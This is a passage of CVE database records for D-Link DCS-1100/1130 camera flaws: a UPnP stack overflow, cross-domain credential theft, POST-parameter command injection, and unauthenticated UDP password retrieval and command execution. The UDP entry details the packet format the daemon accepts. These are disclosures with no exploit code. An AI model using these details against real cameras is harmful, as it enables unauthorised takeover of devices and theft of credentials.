"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-07-02T19:56:43",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-8414",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The binary orthrus in /sbin folder of the device handles all the UPnP connections received by the device. It seems that the binary performs a sprintf operation at address 0x0000A3E4 with the value in the command line parameter \"-f\" and stores it on the stack. Since there is no length check, this results in corrupting the registers for the function sub_A098 which results in memory corruption."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "20190609 Newly releases IoT security issues",
"refsource": "BUGTRAQ",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"name": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html",
"refsource": "MISC",
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"name": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf",
"refsource": "MISC",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-8414",
"datePublished": "2019-07-02T19:56:23",
"dateReserved": "2017-05-02T00:00:00",
"dateUpdated": "2024-08-05T16:34:23.085Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2017-8406
Vulnerability from cvelistv5
Published
2019-07-02 19:05
Modified
2024-08-05 16:34
Severity ?
EPSS score ?
Summary
An issue was discovered on D-Link DCS-1130 devices. The device provides a crossdomain.xml file with no restrictions on who can access the webserver. This allows an hosted flash file on any domain to make calls to the device's webserver and pull any information that is stored on the device. In this case, user's credentials are stored in clear text on the device and can be pulled easily. It also seems that the device does not implement any cross-site scripting forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface into executing a cross-site flashing attack on the user's browser and execute any action on the device provided by the web management interface which steals the credentials from tools_admin.cgi file's response and displays it inside a Textfield.
References
| ▼ | URL | Tags |
|---|---|---|
| https://seclists.org/bugtraq/2019/Jun/8 | mailing-list, x_refsource_BUGTRAQ | |
| http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | x_refsource_MISC | |
| https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:34:23.211Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ",
"x_transferred"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2019-06-07T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a crossdomain.xml file with no restrictions on who can access the webserver. This allows an hosted flash file on any domain to make calls to the device\u0027s webserver and pull any information that is stored on the device. In this case, user\u0027s credentials are stored in clear text on the device and can be pulled easily. It also seems that the device does not implement any cross-site scripting forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface into executing a cross-site flashing attack on the user\u0027s browser and execute any action on the device provided by the web management interface which steals the credentials from tools_admin.cgi file\u0027s response and displays it inside a Textfield."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-07-02T19:05:30",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-8406",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a crossdomain.xml file with no restrictions on who can access the webserver. This allows an hosted flash file on any domain to make calls to the device\u0027s webserver and pull any information that is stored on the device. In this case, user\u0027s credentials are stored in clear text on the device and can be pulled easily. It also seems that the device does not implement any cross-site scripting forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface into executing a cross-site flashing attack on the user\u0027s browser and execute any action on the device provided by the web management interface which steals the credentials from tools_admin.cgi file\u0027s response and displays it inside a Textfield."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "20190609 Newly releases IoT security issues",
"refsource": "BUGTRAQ",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"name": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html",
"refsource": "MISC",
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"name": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf",
"refsource": "MISC",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-8406",
"datePublished": "2019-07-02T19:05:07",
"dateReserved": "2017-05-02T00:00:00",
"dateUpdated": "2024-08-05T16:34:23.211Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2017-8411
Vulnerability from cvelistv5
Published
2019-07-02 18:44
Modified
2024-08-05 16:34
Severity ?
EPSS score ?
Summary
An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the POST parameters passed in this request (to test if email credentials and hostname sent to the device work properly) result in being passed as commands to a "system" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The library "libmailutils.so" is the one that has the vulnerable function "sub_1FC4" that receives the values sent by the POST request. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function sub_1FC4 in IDA pro is identified to be receiving the values sent in the POST request and the value set in POST parameter "receiver1" is extracted in function "sub_15AC" which is then passed to the vulnerable system API call. The vulnerable library function is accessed in "cgibox" binary at address 0x00023BCC which calls the "Send_mail" function in "libmailutils.so" binary as shown below which results in the vulnerable POST parameter being passed to the library which results in the command injection issue.
References
| ▼ | URL | Tags |
|---|---|---|
| https://seclists.org/bugtraq/2019/Jun/8 | mailing-list, x_refsource_BUGTRAQ | |
| http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | x_refsource_MISC | |
| https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:34:23.096Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ",
"x_transferred"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2019-06-07T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the POST parameters passed in this request (to test if email credentials and hostname sent to the device work properly) result in being passed as commands to a \"system\" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The library \"libmailutils.so\" is the one that has the vulnerable function \"sub_1FC4\" that receives the values sent by the POST request. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function sub_1FC4 in IDA pro is identified to be receiving the values sent in the POST request and the value set in POST parameter \"receiver1\" is extracted in function \"sub_15AC\" which is then passed to the vulnerable system API call. The vulnerable library function is accessed in \"cgibox\" binary at address 0x00023BCC which calls the \"Send_mail\" function in \"libmailutils.so\" binary as shown below which results in the vulnerable POST parameter being passed to the library which results in the command injection issue."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-07-02T18:44:42",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-8411",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the POST parameters passed in this request (to test if email credentials and hostname sent to the device work properly) result in being passed as commands to a \"system\" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The library \"libmailutils.so\" is the one that has the vulnerable function \"sub_1FC4\" that receives the values sent by the POST request. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function sub_1FC4 in IDA pro is identified to be receiving the values sent in the POST request and the value set in POST parameter \"receiver1\" is extracted in function \"sub_15AC\" which is then passed to the vulnerable system API call. The vulnerable library function is accessed in \"cgibox\" binary at address 0x00023BCC which calls the \"Send_mail\" function in \"libmailutils.so\" binary as shown below which results in the vulnerable POST parameter being passed to the library which results in the command injection issue."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "20190609 Newly releases IoT security issues",
"refsource": "BUGTRAQ",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"name": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html",
"refsource": "MISC",
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"name": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf",
"refsource": "MISC",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-8411",
"datePublished": "2019-07-02T18:44:18",
"dateReserved": "2017-05-02T00:00:00",
"dateUpdated": "2024-08-05T16:34:23.096Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2017-8404
Vulnerability from cvelistv5
Published
2019-07-02 18:47
Modified
2024-08-05 16:34
Severity ?
EPSS score ?
Summary
An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the POST parameters passed in this request (to test if email credentials and hostname sent to the device work properly) result in being passed as commands to a "system" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The library "libmailutils.so" is the one that has the vulnerable function "sub_1FC4" that receives the values sent by the POST request. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function sub_1FC4 in IDA pro is identified to be receiving the values sent in the POST request and the value set in POST parameter "receiver1" is extracted in function "sub_15AC" which is then passed to the vulnerable system API call. The vulnerable library function is accessed in "cgibox" binary at address 0x0008F598 which calls the "mailLoginTest" function in "libmailutils.so" binary as shown below which results in the vulnerable POST parameter being passed to the library which results in the command injection issue.
References
| ▼ | URL | Tags |
|---|---|---|
| https://seclists.org/bugtraq/2019/Jun/8 | mailing-list, x_refsource_BUGTRAQ | |
| http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | x_refsource_MISC | |
| https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:34:23.027Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ",
"x_transferred"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2019-06-07T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the POST parameters passed in this request (to test if email credentials and hostname sent to the device work properly) result in being passed as commands to a \"system\" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The library \"libmailutils.so\" is the one that has the vulnerable function \"sub_1FC4\" that receives the values sent by the POST request. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function sub_1FC4 in IDA pro is identified to be receiving the values sent in the POST request and the value set in POST parameter \"receiver1\" is extracted in function \"sub_15AC\" which is then passed to the vulnerable system API call. The vulnerable library function is accessed in \"cgibox\" binary at address 0x0008F598 which calls the \"mailLoginTest\" function in \"libmailutils.so\" binary as shown below which results in the vulnerable POST parameter being passed to the library which results in the command injection issue."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-07-02T18:47:58",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-8404",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the POST parameters passed in this request (to test if email credentials and hostname sent to the device work properly) result in being passed as commands to a \"system\" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The library \"libmailutils.so\" is the one that has the vulnerable function \"sub_1FC4\" that receives the values sent by the POST request. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function sub_1FC4 in IDA pro is identified to be receiving the values sent in the POST request and the value set in POST parameter \"receiver1\" is extracted in function \"sub_15AC\" which is then passed to the vulnerable system API call. The vulnerable library function is accessed in \"cgibox\" binary at address 0x0008F598 which calls the \"mailLoginTest\" function in \"libmailutils.so\" binary as shown below which results in the vulnerable POST parameter being passed to the library which results in the command injection issue."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "20190609 Newly releases IoT security issues",
"refsource": "BUGTRAQ",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"name": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html",
"refsource": "MISC",
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"name": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf",
"refsource": "MISC",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-8404",
"datePublished": "2019-07-02T18:47:23",
"dateReserved": "2017-05-02T00:00:00",
"dateUpdated": "2024-08-05T16:34:23.027Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2017-8417
Vulnerability from cvelistv5
Published
2019-07-02 20:03
Modified
2024-08-05 16:34
Severity ?
EPSS score ?
Summary
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device requires that a user logging into the device provide a username and password. However, the device allows D-Link apps on the mobile devices and desktop to communicate with the device without any authentication. As a part of that communication, the device uses custom version of base64 encoding to pass data back and forth between the apps and the device. However, the same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third party to retrieve the device's password without any authentication by sending just 1 UDP packet with custom base64 encoding. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there.
References
| ▼ | URL | Tags |
|---|---|---|
| https://seclists.org/bugtraq/2019/Jun/8 | mailing-list, x_refsource_BUGTRAQ | |
| http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | x_refsource_MISC | |
| https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:34:23.029Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ",
"x_transferred"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2019-06-07T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device requires that a user logging into the device provide a username and password. However, the device allows D-Link apps on the mobile devices and desktop to communicate with the device without any authentication. As a part of that communication, the device uses custom version of base64 encoding to pass data back and forth between the apps and the device. However, the same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third party to retrieve the device\u0027s password without any authentication by sending just 1 UDP packet with custom base64 encoding. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-07-02T20:03:37",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-8417",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device requires that a user logging into the device provide a username and password. However, the device allows D-Link apps on the mobile devices and desktop to communicate with the device without any authentication. As a part of that communication, the device uses custom version of base64 encoding to pass data back and forth between the apps and the device. However, the same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third party to retrieve the device\u0027s password without any authentication by sending just 1 UDP packet with custom base64 encoding. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "20190609 Newly releases IoT security issues",
"refsource": "BUGTRAQ",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"name": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html",
"refsource": "MISC",
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"name": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf",
"refsource": "MISC",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-8417",
"datePublished": "2019-07-02T20:03:13",
"dateReserved": "2017-05-02T00:00:00",
"dateUpdated": "2024-08-05T16:34:23.029Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2017-8413
Vulnerability from cvelistv5
Published
2019-07-02 20:19
Modified
2024-08-05 16:34
Severity ?
EPSS score ?
Summary
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device runs a custom daemon on UDP port 5978 which is called "dldps2121" and listens for broadcast packets sent on 255.255.255.255. This daemon handles custom D-Link UDP based protocol that allows D-Link mobile applications and desktop applications to discover D-Link devices on the local network. The binary processes the received UDP packets sent from any device in "main" function. One path in the function traverses towards a block of code that handles commands to be executed on the device. The custom protocol created by D-Link follows the following pattern: Packetlen, Type of packet; M=MAC address of device or broadcast; D=Device Type;C=base64 encoded command string;test=1111. If a packet is received with the packet type being "S" or 0x53 then the string passed in the "C" parameter is base64 decoded and then executed by passing into a System API. We can see at address 0x00009B44 that the string received in packet type subtracts 0x31 or "1" from the packet type and is compared against 0x22 or "double quotes". If that is the case, then the packet is sent towards the block of code that executes a command. Then the value stored in "C" parameter is extracted at address 0x0000A1B0. Finally, the string received is base 64 decoded and passed on to the system API at address 0x0000A2A8 as shown below. The same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third-party application on the device to execute commands on the device without any authentication by sending just 1 UDP packet with custom base64 encoding.
References
| ▼ | URL | Tags |
|---|---|---|
| https://seclists.org/bugtraq/2019/Jun/8 | mailing-list, x_refsource_BUGTRAQ | |
| http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | x_refsource_MISC | |
| https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:34:23.073Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ",
"x_transferred"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2019-06-17T00:00:00",
"descriptions": [
{
"lang": "en",
